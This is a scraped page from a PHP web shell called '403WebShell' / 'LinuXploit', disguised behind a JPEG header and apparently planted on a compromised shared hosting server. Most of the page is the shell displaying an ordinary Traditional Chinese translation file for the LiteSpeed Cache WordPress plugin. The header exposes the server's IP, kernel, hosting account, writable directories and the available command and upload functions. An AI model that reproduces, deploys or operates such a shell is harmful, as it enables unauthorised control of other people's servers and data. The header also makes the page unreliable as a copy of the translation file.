????JFIF??x?x????'403WebShell
403Webshell
Server IP : 104.21.112.1  /  Your IP : 216.73.216.145
Web Server : LiteSpeed
System : Linux premium151.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
User : tempvsty ( 647)
PHP Version : 8.0.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /proc/self/root/usr/src/litespeed-wp-plugin/7.1/translations/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/self/root/usr/src/litespeed-wp-plugin/7.1/translations/litespeed-cache-zh_TW.po
# Translation of Plugins - LiteSpeed Cache - Stable (latest release) in Chinese (Taiwan)
# This file is distributed under the same license as the Plugins - LiteSpeed Cache - Stable (latest release) package.
msgid ""
msgstr ""
"PO-Revision-Date: 2021-05-26 04:59:45+0000\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"Plural-Forms: nplurals=1; plural=0;\n"
"X-Generator: GlotPress/4.0.1\n"
"Language: zh_TW\n"
"Project-Id-Version: Plugins - LiteSpeed Cache - Stable (latest release)\n"

#: tpl/banner/score.php:68 tpl/dash/dashboard.tpl.php:437
msgid "PageSpeed Score"
msgstr "PageSpeed 分數"

#: tpl/banner/score.php:28 tpl/dash/dashboard.tpl.php:360
msgid "Page Load Time"
msgstr "頁面載入時間"

#: tpl/inc/check_cache_disabled.php:10
msgid "To use the caching functions you must have a LiteSpeed web server or be using QUIC.cloud CDN."
msgstr "這個網站必須採用 LiteSpeed 網頁伺服器或 QUIC.cloud CDN,才能使用快取功能。"

#: tpl/banner/new_version.php:81
msgid "Turn On Auto Upgrade"
msgstr "開啟自動升級"

#: src/activation.cls.php:505 src/activation.cls.php:510
msgid "Failed to upgrade."
msgstr "無法升級。"

#: src/activation.cls.php:514
msgid "Upgraded successfully."
msgstr "已成功升級。"

#: tpl/banner/new_version.php:59
msgid "New Version Available!"
msgstr "已有新版本可供更新。"

#: tpl/banner/new_version.php:63
msgid "New release %s is available now."
msgstr "目前已有新版本 %s 可供更新。"

#: tpl/banner/new_version.php:87
msgid "Maybe Later"
msgstr "稍後再說"

#: src/conf.cls.php:700
msgid "Changed setting successfully."
msgstr "設定已完成變更。"

#: src/admin-display.cls.php:220
msgid "Cookie Name"
msgstr "Cookie 名稱"

#: src/admin-display.cls.php:221 tpl/crawler/settings.tpl.php:143
msgid "Cookie Values"
msgstr "Cookie 值"

#: tpl/cache/settings-esi.tpl.php:14
msgid "WpW: Private Cache vs. Public Cache"
msgstr "WpW: 私密快取與公開快取的比較"

#: src/lang.cls.php:103
msgid "Automatically Upgrade"
msgstr "自動升級"

#: tpl/general/settings_inc.auto_upgrade.tpl.php:15
msgid "Turn this option ON to have LiteSpeed Cache updated automatically, whenever a new version is released. If OFF, update manually as usual."
msgstr "開啟這項設定後,每當 LiteSpeed Cache 有新版本發佈,便會自動更新;如果關閉這項設定,則必須手動更新外掛。"

#: tpl/toolbox/settings-debug.tpl.php:67
msgid "Your IP"
msgstr "目前的 IP 位址"

#: tpl/toolbox/import_export.tpl.php:49
msgid "Reset All Settings"
msgstr "重設全部設定"

#: tpl/toolbox/import_export.tpl.php:50
msgid "This will reset all settings to default settings."
msgstr "使用這項功能便會將全部設定重設為預設值。"

#: src/import.cls.php:157
msgid "Reset successfully."
msgstr "重設已完成。"

#: tpl/inc/check_cache_disabled.php:22
msgid "Please enable LiteSpeed Cache in the plugin settings."
msgstr "請在外掛設定中啟用 [LiteSpeed 快取功能]。"

#. Description of the plugin
#: litespeed-cache.php
msgid "High-performance page caching and site optimization from LiteSpeed"
msgstr "LiteSpeed 提供的高效能頁面快取及網站最佳化外掛。"

#: src/gui.cls.php:781
msgid "Install %s"
msgstr "安裝 %s"

#: src/gui.cls.php:804
msgid "View %1$s version %2$s details"
msgstr "檢視 %1$s %2$s 的詳細資料"

#: src/gui.cls.php:807
msgid "Update %s now"
msgstr "立即更新 %s"

#: src/img-optm.cls.php:2132
msgid "Reset the optimized data successfully."
msgstr "最佳化的資料已完成重設。"

#: src/img-optm.cls.php:1921
msgid "Switched images successfully."
msgstr "圖片已成功切換。"

#: tpl/img_optm/summary.tpl.php:219
msgid "Saved"
msgstr "已儲存"

#: src/lang.cls.php:224
msgid "Purge All Hooks"
msgstr "清除全部勾點"

#: src/lang.cls.php:247
msgid "Included Directories"
msgstr "包含的目錄"

#: src/lang.cls.php:258 tpl/inc/disabled_all.php:5
msgid "Disable All Features"
msgstr "停用全部功能"

#: src/gui.cls.php:503 src/gui.cls.php:663 tpl/toolbox/purge.tpl.php:36
msgid "CSS/JS Cache"
msgstr "CSS/JS 快取"

#: tpl/cache/network_settings-excludes.tpl.php:7
#: tpl/cache/settings-excludes.tpl.php:9
msgid "Exclude Settings"
msgstr "排除項目設定"

#: src/lang.cls.php:135
msgid "Force Cache URIs"
msgstr "強制進行快取的 URI"

#: src/purge.cls.php:213
msgid "Purged all caches successfully."
msgstr "全部快取已成功清除。"

#: tpl/banner/slack.php:14
msgid "Join the %s community."
msgstr "加入 %s 社群。"

#: tpl/banner/slack.php:23
msgid "Join Us on Slack"
msgstr "加入我們的 Slack 頻道"

#: tpl/inc/admin_footer.php:10
msgid "Rate %s on %s"
msgstr "為 %s 進行評等 (於 %s)"

#: tpl/inc/admin_footer.php:15
msgid "Visit LSCWP support forum"
msgstr "造訪 LSCWP 技術支援論壇"

#: tpl/inc/admin_footer.php:17
msgid "Join LiteSpeed Slack community"
msgstr "加入 LiteSpeed Slack 社群"

#: tpl/cdn/cf.tpl.php:25
msgid "Use %s API functionality."
msgstr "使用 %s API 提供的功能。"

#: tpl/cdn/cf.tpl.php:44
msgid "Your Email address on %s."
msgstr "%s 帳號的電子郵件地址。"

#: tpl/cache/more_settings_tip.tpl.php:12
#: tpl/cache/settings-excludes.tpl.php:65
#: tpl/cache/settings-excludes.tpl.php:98 tpl/cdn/other.tpl.php:63
#: tpl/crawler/settings.tpl.php:72 tpl/crawler/settings.tpl.php:77
msgid "NOTE"
msgstr "注意事項"

#: tpl/presets/entry.tpl.php:7 tpl/toolbox/entry.tpl.php:10
msgid "Import / Export"
msgstr "匯入/匯出"

#: tpl/toolbox/import_export.tpl.php:9
msgid "Export Settings"
msgstr "匯出設定"

#: tpl/toolbox/import_export.tpl.php:14
msgid "Export"
msgstr "匯出"

#: tpl/toolbox/import_export.tpl.php:19
msgid "Last exported"
msgstr "最後匯出時間"

#: tpl/toolbox/import_export.tpl.php:27
msgid "Import Settings"
msgstr "匯入設定"

#: tpl/toolbox/import_export.tpl.php:35
msgid "Import"
msgstr "匯入"

#: tpl/toolbox/import_export.tpl.php:41
msgid "Last imported"
msgstr "最後匯入時間"

#: tpl/toolbox/import_export.tpl.php:46
msgid "This will import settings from a file and override all current LiteSpeed Cache settings."
msgstr "使用這項功能便能從檔案匯入並覆寫目前 LiteSpeed Cache 外掛的全部設定。"

#: src/import.cls.php:81
msgid "Import failed due to file error."
msgstr "由於檔案發生錯誤,因此無法匯入。"

#: src/import.cls.php:134
msgid "Imported setting file %s successfully."
msgstr "設定檔 %s 已成功匯入。"

#: src/purge.cls.php:404
msgid "Opcode cache is not enabled."
msgstr "Opcode 快取並未啟用。"

#: src/purge.cls.php:419
msgid "Reset the entire opcode cache successfully."
msgstr "全部 Opcode 快取 已完成重設。"

#: tpl/toolbox/purge.tpl.php:45
msgid "Purge all the object caches"
msgstr "清除全部物件快取"

#: tpl/cache/settings_inc.object.tpl.php:108
msgid "Default TTL for cached objects."
msgstr "已快取物件的預設 TTL。"

#: tpl/cache/settings_inc.object.tpl.php:51
#: tpl/cache/settings_inc.object.tpl.php:52
msgid "%s Extension"
msgstr "%s 擴充模組"

#: tpl/cdn/cf.tpl.php:138
msgid "Purge Everything"
msgstr "清除全部"

#: src/lang.cls.php:249
msgid "Cloudflare API"
msgstr "Cloudflare API"

#: src/cdn/cloudflare.cls.php:147
msgid "Notified Cloudflare to purge all successfully."
msgstr "已通知 Cloudflare 清除全部快取。"

#: src/cdn/cloudflare.cls.php:162
msgid "No available Cloudflare zone"
msgstr "沒有可用的 Cloudflare zone"

#: src/utility.cls.php:238 tpl/dash/dashboard.tpl.php:421
#: tpl/dash/dashboard.tpl.php:490
msgid " %s ago"
msgstr "%s前"

#: thirdparty/woocommerce.content.tpl.php:24
msgid "To test the cart, visit the <a %s>FAQ</a>."
msgstr "如需進行購物車測試,請參閱<a %s>常見問題集</a>。"

#: src/media.cls.php:257
msgid "LiteSpeed Optimization"
msgstr "LiteSpeed 最佳化"

#: src/doc.cls.php:92 src/doc.cls.php:147 tpl/cdn/cf.tpl.php:127
#: tpl/dash/dashboard.tpl.php:177 tpl/dash/dashboard.tpl.php:786
#: tpl/general/online.tpl.php:67 tpl/general/online.tpl.php:79
#: tpl/general/online.tpl.php:95 tpl/img_optm/summary.tpl.php:49
#: tpl/inc/check_cache_disabled.php:42
msgid "Learn More"
msgstr "進一步了解"

#: src/img-optm.cls.php:2040
msgid "Disabled WebP file successfully."
msgstr "WebP 檔案已成功停用。"

#: src/img-optm.cls.php:2075
msgid "Restored original file successfully."
msgstr "原始檔案已成功還原。"

#: src/img-optm.cls.php:2021 src/img-optm.cls.php:2081
msgid "Switched to optimized file successfully."
msgstr "已成功切換至最佳化的檔案。"

#: src/admin-display.cls.php:135 src/gui.cls.php:638
#: tpl/dash/dashboard.tpl.php:188 tpl/dash/network_dash.tpl.php:27
#: tpl/general/online.tpl.php:121 tpl/general/online.tpl.php:136
#: tpl/presets/standard.tpl.php:24
msgid "Image Optimization"
msgstr "圖片最佳化"

#: tpl/img_optm/entry.tpl.php:23
msgid "LiteSpeed Cache Image Optimization"
msgstr "LiteSpeed Cache - 圖片最佳化"

#: tpl/cache/settings-excludes.tpl.php:100
msgid "If the tag slug is not found, the tag will be removed from the list on save."
msgstr "如果輸入的標籤代稱不正確,儲存設定時便會在清單中移除。"

#: tpl/general/settings_tuning.tpl.php:8
#: tpl/page_optm/settings_tuning.tpl.php:20
#: tpl/page_optm/settings_tuning_css.tpl.php:7
msgid "Tuning Settings"
msgstr "微調設定"

#: tpl/general/entry.tpl.php:10 tpl/page_optm/entry.tpl.php:13
#: tpl/page_optm/entry.tpl.php:14
msgid "Tuning"
msgstr "微調"

#: tpl/img_optm/summary.tpl.php:274
msgid "Optimization Summary"
msgstr "最佳化摘要"

#: tpl/page_optm/entry.tpl.php:9 tpl/page_optm/settings_media.tpl.php:16
msgid "Media Settings"
msgstr "媒體設定"

#: src/lang.cls.php:188
msgid "Lazy Load Images"
msgstr "延遲載入圖片"

#: tpl/banner/score.php:117
msgid "I've already left a review"
msgstr "已發佈過評論"

#: tpl/banner/score.php:118
msgid "Maybe later"
msgstr "稍後再說"

#: tpl/banner/slack.php:9
msgid "Welcome to LiteSpeed"
msgstr "歡迎使用 LiteSpeed"

#: src/admin-display.cls.php:1284 src/doc.cls.php:114
msgid "One per line."
msgstr "每行輸入一項資料。"

#: src/lang.cls.php:137
msgid "Do Not Cache URIs"
msgstr "不進行快取的 URI"

#: src/lang.cls.php:138
msgid "Do Not Cache Query Strings"
msgstr "不進行快取的查詢字串"

#: src/lang.cls.php:139
msgid "Do Not Cache Categories"
msgstr "不進行快取的分類"

#: tpl/cache/settings-excludes.tpl.php:61
msgid "categories"
msgstr "分類"

#: tpl/cache/settings-excludes.tpl.php:102
msgid "To exclude %1$s, insert %2$s."
msgstr "如需排除 %1$s,請輸入代稱 %2$s。"

#: src/lang.cls.php:140
msgid "Do Not Cache Tags"
msgstr "不進行快取的標籤"

#: tpl/cache/settings_inc.exclude_cookies.tpl.php:14
msgid "cookies"
msgstr "Cookie"

#: tpl/cache/settings_inc.exclude_useragent.tpl.php:14
msgid "user agents"
msgstr "使用者代理程式"

#: src/lang.cls.php:156 tpl/page_optm/settings_tuning_css.tpl.php:157
msgid "Load CSS Asynchronously"
msgstr "以非同步方式載入 CSS"

#: src/gui.cls.php:403 src/gui.cls.php:418
msgid "Purge this page"
msgstr "清除這個頁面的快取"

#: src/gui.cls.php:461
msgid "Private cache"
msgstr "私密快取"

#: src/lang.cls.php:240
msgid "CDN URL"
msgstr "CDN 網址"

#: src/lang.cls.php:241
msgid "Include Images"
msgstr "包含圖片"

#: src/lang.cls.php:244 tpl/cdn/other.tpl.php:87
msgid "Include File Types"
msgstr "包含檔案類型"

#: src/lang.cls.php:246
msgid "Original URLs"
msgstr "原始網址"

#: src/lang.cls.php:248
msgid "Exclude Path"
msgstr "排除的路徑"

#: tpl/toolbox/purge.tpl.php:37
msgid "This will purge all minified/combined CSS/JS entries only"
msgstr "這項功能僅會清除已最小化/已合併的 CSS/JS 項目。"

#: src/purge.cls.php:387
msgid "Notified LiteSpeed Web Server to purge CSS/JS entries."
msgstr "已通知 LiteSpeed 網頁伺服器清除 CSS/JS 項目。"

#: tpl/db_optm/manage.tpl.php:34
msgid "Clean all trashed comments"
msgstr "清理回收桶中的全部留言。"

#: tpl/db_optm/manage.tpl.php:37
msgid "Trackbacks/Pingbacks"
msgstr "引用通知/自動引用通知"

#: tpl/db_optm/manage.tpl.php:38
msgid "Clean all trackbacks and pingbacks"
msgstr "清理全部引用通知及自動引用通知。"

#: tpl/db_optm/manage.tpl.php:41
msgid "Expired Transients"
msgstr "過期的暫時性選項"

#: tpl/db_optm/manage.tpl.php:42
msgid "Clean expired transient options"
msgstr "清理過期的暫時性選項。"

#: tpl/db_optm/manage.tpl.php:45
msgid "All Transients"
msgstr "全部暫時性選項"

#: tpl/db_optm/manage.tpl.php:46
msgid "Clean all transient options"
msgstr "清理全部暫時性選項。"

#: tpl/db_optm/manage.tpl.php:49
msgid "Optimize Tables"
msgstr "最佳化資料表"

#: tpl/db_optm/manage.tpl.php:50
msgid "Optimize all tables in your database"
msgstr "最佳化網站資料庫中的全部資料表。"

#: tpl/db_optm/manage.tpl.php:78
msgid "Database Optimizer"
msgstr "資料庫最佳化"

#: tpl/toolbox/purge.tpl.php:23
msgid "Purge %s Error"
msgstr "清除 %s 錯誤快取"

#: src/db-optm.cls.php:147
msgid "Clean all successfully."
msgstr "全部項目已成功清理。"

#: src/db-optm.cls.php:204
msgid "Clean post revisions successfully."
msgstr "文章內容修訂已成功清理。"

#: src/db-optm.cls.php:212
msgid "Clean auto drafts successfully."
msgstr "自動儲存的草稿已成功清理。"

#: src/db-optm.cls.php:216
msgid "Clean trashed posts and pages successfully."
msgstr "回收桶中的文章及頁面已成功清理。"

#: src/db-optm.cls.php:220
msgid "Clean spam comments successfully."
msgstr "垃圾留言已成功清理。"

#: src/db-optm.cls.php:224
msgid "Clean trashed comments successfully."
msgstr "回收桶中的留言已成功清理。"

#: src/db-optm.cls.php:228
msgid "Clean trackbacks and pingbacks successfully."
msgstr "引用通知及自動引用通知已成功清理。"

#: src/db-optm.cls.php:232
msgid "Clean expired transients successfully."
msgstr "過期的暫時性選項已成功清理。"

#: src/db-optm.cls.php:236
msgid "Clean all transients successfully."
msgstr "全部暫時性選項已成功清理。"

#: tpl/db_optm/manage.tpl.php:9
msgid "Clean All"
msgstr "清理全部"

#: tpl/db_optm/manage.tpl.php:13
msgid "Post Revisions"
msgstr "文章內容修訂"

#: tpl/db_optm/manage.tpl.php:14
msgid "Clean all post revisions"
msgstr "清理全部文章內容修訂。"

#: tpl/db_optm/manage.tpl.php:21
msgid "Auto Drafts"
msgstr "自動儲存的草稿"

#: tpl/db_optm/manage.tpl.php:22
msgid "Clean all auto saved drafts"
msgstr "清理全部自動儲存的草稿。"

#: tpl/db_optm/manage.tpl.php:25
msgid "Trashed Posts"
msgstr "回收桶中的文章"

#: tpl/db_optm/manage.tpl.php:26
msgid "Clean all trashed posts and pages"
msgstr "清理回收桶中的全部文章及頁面。"

#: tpl/db_optm/manage.tpl.php:29
msgid "Spam Comments"
msgstr "垃圾留言"

#: tpl/db_optm/manage.tpl.php:30
msgid "Clean all spam comments"
msgstr "清理全部垃圾留言。"

#: tpl/db_optm/manage.tpl.php:33
msgid "Trashed Comments"
msgstr "回收桶中的留言"

#: src/lang.cls.php:96
msgid "Default Private Cache TTL"
msgstr "私密快取預設 TTL"

#: tpl/cache/entry.tpl.php:9 tpl/cache/entry_network.tpl.php:8
msgid "Excludes"
msgstr "排除項目"

#: tpl/cache/settings-cache.tpl.php:54
msgid "Privately cache frontend pages for logged-in users. (LSWS %s required)"
msgstr "私密快取已登入使用者的前端頁面 (需要 LSWS %s)"

#: src/error.cls.php:161
msgid "%s file not readable."
msgstr "無法讀取 %s 檔案。"

#: src/error.cls.php:141 src/error.cls.php:165
msgid "%s file not writable."
msgstr "無法寫入 %s 檔案。"

#: src/lang.cls.php:219 tpl/esi_widget_edit.php:36
msgid "Enable ESI"
msgstr "啟用 ESI"

#: tpl/toolbox/purge.tpl.php:227
msgid "Purge pages by relative or full URL."
msgstr "依據相對路經或完整網址清除頁面快取。"

#: src/lang.cls.php:256
msgid "Custom Sitemap"
msgstr "自訂 Sitemap"

#: src/core.cls.php:325
msgid "Notified LiteSpeed Web Server to purge the list."
msgstr "已通知 LiteSpeed 網頁伺服器清除清單。"

#: src/admin-display.cls.php:141 src/lang.cls.php:251
msgid "Crawler"
msgstr "檢索程式"

#: tpl/crawler/entry.tpl.php:18
msgid "LiteSpeed Cache Crawler"
msgstr "LiteSpeed Cache - 檢索程式"

#: tpl/crawler/map.tpl.php:30
msgid "Generated at %s"
msgstr "產生時間: %s"

#: cli/crawler.cls.php:69 tpl/crawler/summary.tpl.php:30
msgid "%d hours"
msgstr "%d 小時"

#: cli/crawler.cls.php:71 tpl/crawler/summary.tpl.php:32
msgid "%d hour"
msgstr "%d 小時"

#: cli/crawler.cls.php:78 tpl/crawler/summary.tpl.php:39
msgid "%d minutes"
msgstr "%d 分鐘"

#: cli/crawler.cls.php:80 tpl/crawler/summary.tpl.php:41
msgid "%d minute"
msgstr "%d 分鐘"

#: tpl/toolbox/purge.tpl.php:168
msgid "Select below for \"Purge by\" options."
msgstr "請在下方選取 [快取清除條件]。"

#: tpl/cache/settings-cache.tpl.php:28
msgid "Please visit the <a %s>Information</a> page on how to test the cache."
msgstr "請參閱<a %s>資訊</a>頁面以瞭解如何測試快取。"

#: tpl/toolbox/purge.tpl.php:15
msgid "Purge Pages"
msgstr "清除頁面快取"

#: tpl/cache/settings-purge.tpl.php:16
msgid "Pages"
msgstr "頁面"

#: tpl/toolbox/purge.tpl.php:16
msgid "This will Purge Pages only"
msgstr "這項功能僅會清除頁面快取。"

#: tpl/cache/settings-purge.tpl.php:18
msgid "All pages with Recent Posts Widget"
msgstr "全部頁面及 [近期文章] 小工具"

#: tpl/cdn/cf.tpl.php:40
msgid "Email Address"
msgstr "電子郵件地址"

#: cli/purge.cls.php:136
msgid "Purged the blog!"
msgstr "網站已清除。"

#: cli/purge.cls.php:185
msgid "Purged the url!"
msgstr "網址已清除。"

#: src/gui.cls.php:782
msgid "Install Now"
msgstr "立即安裝"

#: src/purge.cls.php:720
msgid "Notified LiteSpeed Web Server to purge error pages."
msgstr "已通知 LiteSpeed 網頁伺服器清除錯誤頁面快取。"

#: tpl/toolbox/purge.tpl.php:211
msgid "Purge pages by category name - e.g. %2$s should be used for the URL %1$s."
msgstr "依據分類代稱清除頁面快取。如需清除網址為 %1$s 的頁面快取,請輸入 %2$s。"

#: tpl/toolbox/purge.tpl.php:217
msgid "Purge pages by post ID."
msgstr "依據文章 ID 清除頁面快取。"

#: tpl/toolbox/purge.tpl.php:221
msgid "Purge pages by tag name - e.g. %2$s should be used for the URL %1$s."
msgstr "依據標籤代稱清除頁面快取。如需清除網址為 %1$s 的頁面快取,請輸入 %2$s。"

#: tpl/toolbox/purge.tpl.php:10
msgid "This will Purge Front Page only"
msgstr "這項功能僅會清除靜態首頁快取。"

#: tpl/cache/settings-cache.tpl.php:35
msgid "The network admin setting can be overridden here."
msgstr "多站網路管理中心的設定可以在這個頁面進行變更,但不會影響多站網路管理中心的原始設定。"

#: tpl/general/network_settings.tpl.php:21
msgid "Use Primary Site Configuration"
msgstr "使用主要網站組態"

#: src/admin-display.cls.php:848 src/admin-display.cls.php:852
msgid "Save Changes"
msgstr "儲存設定"

#: tpl/general/network_settings.tpl.php:25
msgid "Check this option to use the primary site's configuration for all subsites."
msgstr "開啟這項設定後,便會在全部子網站套用主要網站的組態。"

#: src/core.cls.php:320
msgid "Notified LiteSpeed Web Server to purge everything."
msgstr "已通知 LiteSpeed 網頁伺服器清除全部快取。"

#: src/lang.cls.php:259 tpl/toolbox/log_viewer.tpl.php:11
msgid "Debug Log"
msgstr "偵錯記錄"

#: tpl/inc/show_display_installed.php:7
msgid "LiteSpeed Cache plugin is installed!"
msgstr "LiteSpeed Cache 外掛已安裝。"

#: src/gui.cls.php:605
msgid "LiteSpeed Cache Purge All"
msgstr "LiteSpeed Cache 清除全部快取"

#: tpl/cache/settings-purge.tpl.php:50 tpl/cache/settings-purge.tpl.php:89
#: tpl/cache/settings-purge.tpl.php:113
#: tpl/page_optm/settings_tuning_css.tpl.php:61
#: tpl/page_optm/settings_tuning_css.tpl.php:137
msgid "Note"
msgstr "注意事項"

#: src/lang.cls.php:131
msgid "Purge All On Upgrade"
msgstr "升級後清除全部快取"

#: src/lang.cls.php:98
msgid "Default Feed TTL"
msgstr "資訊提供快取預設 TTL"

#: tpl/cache/settings-ttl.tpl.php:67
msgid "Specify how long, in seconds, feeds are cached."
msgstr "設定資訊提供快取保留時間 (單位為秒)。"

#: tpl/cache/settings-ttl.tpl.php:68 tpl/cache/settings-ttl.tpl.php:83
msgid "If this is set to a number less than 30, feeds will not be cached."
msgstr "如果設定值小於 30,便不會為資訊提供進行快取。"

#: src/error.cls.php:169
msgid "Failed to get %s file contents."
msgstr "無法取得 %s 檔案的內容。"

#: tpl/toolbox/edit_htaccess.tpl.php:88
msgid "Current %s Contents"
msgstr "目前 %s 檔案的內容"

#: tpl/toolbox/purge.tpl.php:166
msgid "Purge By..."
msgstr "快取清除條件"

#: tpl/toolbox/purge.tpl.php:197
msgid "Post ID"
msgstr "文章 ID"

#: tpl/crawler/blacklist.tpl.php:33 tpl/crawler/map.tpl.php:67
#: tpl/toolbox/purge.tpl.php:205
msgid "URL"
msgstr "網址"

#: tpl/toolbox/purge.tpl.php:243
msgid "Purge List"
msgstr "清除清單所列項目"

#: tpl/cache/entry.tpl.php:18 tpl/cache/entry_network.tpl.php:11
#: tpl/toolbox/settings-debug.tpl.php:84
msgid "Advanced"
msgstr "進階設定"

#: src/lang.cls.php:229
msgid "Login Cookie"
msgstr "登入 Cookie"

#: src/purge.cls.php:748
msgid "Purge category %s"
msgstr "清除分類 [%s]"

#: src/purge.cls.php:778
msgid "Purge tag %s"
msgstr "清除標籤 [%s]"

#: src/purge.cls.php:813
msgid "Purge url %s"
msgstr "清除網址 %s"

#: tpl/inc/show_error_cookie.php:6
msgid "NOTICE: Database login cookie did not match your login cookie."
msgstr "注意事項: 資料庫中的登入 Cookie 與目前使用者的登入 Cookie 不相符。"

#: tpl/cache/settings-cache.tpl.php:32 tpl/crawler/settings.tpl.php:103
#: tpl/crawler/settings.tpl.php:112 tpl/crawler/summary.tpl.php:181
#: tpl/page_optm/entry.tpl.php:32
msgid "NOTICE"
msgstr "注意事項"

#: src/doc.cls.php:145
msgid "This setting will edit the .htaccess file."
msgstr "這項設定會變更 .htaccess 檔案內容。"

#: src/lang.cls.php:227
msgid "Do Not Cache Cookies"
msgstr "不進行快取的 Cookie"

#: src/lang.cls.php:228
msgid "Do Not Cache User Agents"
msgstr "不使用快取的使用者代理程式"

#: tpl/cache/network_settings-cache.tpl.php:16
msgid "Network Enable Cache"
msgstr "多站網路快取"

#: thirdparty/woocommerce.content.tpl.php:22
#: tpl/cache/settings-advanced.tpl.php:14
#: tpl/cache/settings_inc.browser.tpl.php:12 tpl/toolbox/heartbeat.tpl.php:14
#: tpl/toolbox/report.tpl.php:38
msgid "NOTICE:"
msgstr "注意事項:"

#: src/lang.cls.php:113 tpl/cache/settings_inc.cache_mobile.tpl.php:71
msgid "List of Mobile User Agents"
msgstr "行動版使用者代理程式清單"

#: src/gui.cls.php:621 tpl/db_optm/entry.tpl.php:6
msgid "Manage"
msgstr "管理"

#: tpl/toolbox/purge.tpl.php:9
msgid "Purge Front Page"
msgstr "清除靜態首頁快取"

#: src/lang.cls.php:97
msgid "Default Front Page TTL"
msgstr "靜態首頁快取預設 TTL"

#: src/purge.cls.php:684
msgid "Notified LiteSpeed Web Server to purge the front page."
msgstr "已通知 LiteSpeed 網頁伺服器清除靜態首頁快取。"

#: tpl/cache/settings-excludes.tpl.php:93
msgid "All tags are cached by default."
msgstr "預設會為全部標籤進行快取。"

#: tpl/cache/settings-excludes.tpl.php:60
msgid "All categories are cached by default."
msgstr "預設會為全部分類進行快取。"

#: tpl/cache/settings-cache.tpl.php:22
msgid "Use Network Admin Setting"
msgstr "套用多站網路管理中心設定"

#: tpl/cache/network_settings-cache.tpl.php:20
msgid "Enabling LiteSpeed Cache for WordPress here enables the cache for the network."
msgstr "開啟這項設定後,便能為整個多站網路啟用 LiteSpeed 的 WordPress 快取功能。"

#: tpl/cache/settings_inc.object.tpl.php:6 tpl/general/online.tpl.php:123
msgid "Enabled"
msgstr "啟用"

#: src/lang.cls.php:141
msgid "Do Not Cache Roles"
msgstr "不使用快取的使用者角色"

#. Plugin Name of the plugin
#: litespeed-cache.php tpl/banner/new_version.php:59
#: tpl/banner/new_version_dev.tpl.php:12 tpl/cache/more_settings_tip.tpl.php:15
#: tpl/inc/admin_footer.php:10
msgid "LiteSpeed Cache"
msgstr "LiteSpeed Cache"

#: tpl/general/settings.tpl.php:63 tpl/general/settings.tpl.php:70
#: tpl/general/settings.tpl.php:77 tpl/general/settings.tpl.php:94
#: tpl/page_optm/settings_media.tpl.php:240
#: tpl/page_optm/settings_vpi.tpl.php:37
msgid "Notice"
msgstr "注意"

#: tpl/cache/settings-purge.tpl.php:15
msgid "Home page"
msgstr "首頁"

#: tpl/cache/settings-purge.tpl.php:20
msgid "Author archive"
msgstr "作者彙整"

#: tpl/cache/settings-purge.tpl.php:21
msgid "Post type archive"
msgstr "內容類型彙整"

#: tpl/cache/settings-purge.tpl.php:23
msgid "Yearly archive"
msgstr "年份彙整"

#: tpl/cache/settings-purge.tpl.php:24
msgid "Monthly archive"
msgstr "每月彙整"

#: tpl/cache/settings-purge.tpl.php:25
msgid "Daily archive"
msgstr "每日彙整"

#: tpl/cache/settings-purge.tpl.php:27
msgid "Term archive (include category, tag, and tax)"
msgstr "分類法詞彙彙整 (包含分類、標籤及自訂分類法)"

#: src/lang.cls.php:95
msgid "Default Public Cache TTL"
msgstr "公開快取預設 TTL"

#: tpl/cache/settings-purge.tpl.php:13
msgid "All pages"
msgstr "全部頁面"

#: tpl/cache/settings-purge.tpl.php:14
msgid "Front page"
msgstr "靜態首頁"

#: src/admin-display.cls.php:1093 tpl/cache/settings_inc.object.tpl.php:106
#: tpl/crawler/settings.tpl.php:37 tpl/esi_widget_edit.php:70
msgid "seconds"
msgstr "秒"

#: src/gui.cls.php:487 src/gui.cls.php:495 src/gui.cls.php:503
#: src/gui.cls.php:512 src/gui.cls.php:522 src/gui.cls.php:532
#: src/gui.cls.php:542 src/gui.cls.php:552 src/gui.cls.php:561
#: src/gui.cls.php:571 src/gui.cls.php:581 src/gui.cls.php:647
#: src/gui.cls.php:655 src/gui.cls.php:663 src/gui.cls.php:672
#: src/gui.cls.php:682 src/gui.cls.php:692 src/gui.cls.php:702
#: src/gui.cls.php:712 src/gui.cls.php:721 src/gui.cls.php:731
#: src/gui.cls.php:741 tpl/page_optm/settings_media.tpl.php:131
#: tpl/toolbox/purge.tpl.php:30 tpl/toolbox/purge.tpl.php:36
#: tpl/toolbox/purge.tpl.php:44 tpl/toolbox/purge.tpl.php:53
#: tpl/toolbox/purge.tpl.php:62 tpl/toolbox/purge.tpl.php:71
#: tpl/toolbox/purge.tpl.php:80 tpl/toolbox/purge.tpl.php:89
#: tpl/toolbox/purge.tpl.php:98 tpl/toolbox/purge.tpl.php:107
msgid "Purge All"
msgstr "清除全部快取"

#: src/admin-display.cls.php:129
msgid "General"
msgstr "一般"

#: tpl/cache/entry.tpl.php:39
msgid "LiteSpeed Cache Settings"
msgstr "LiteSpeed Cache - 設定"

Youez - 2016 - github.com/yon3zu
LinuXploit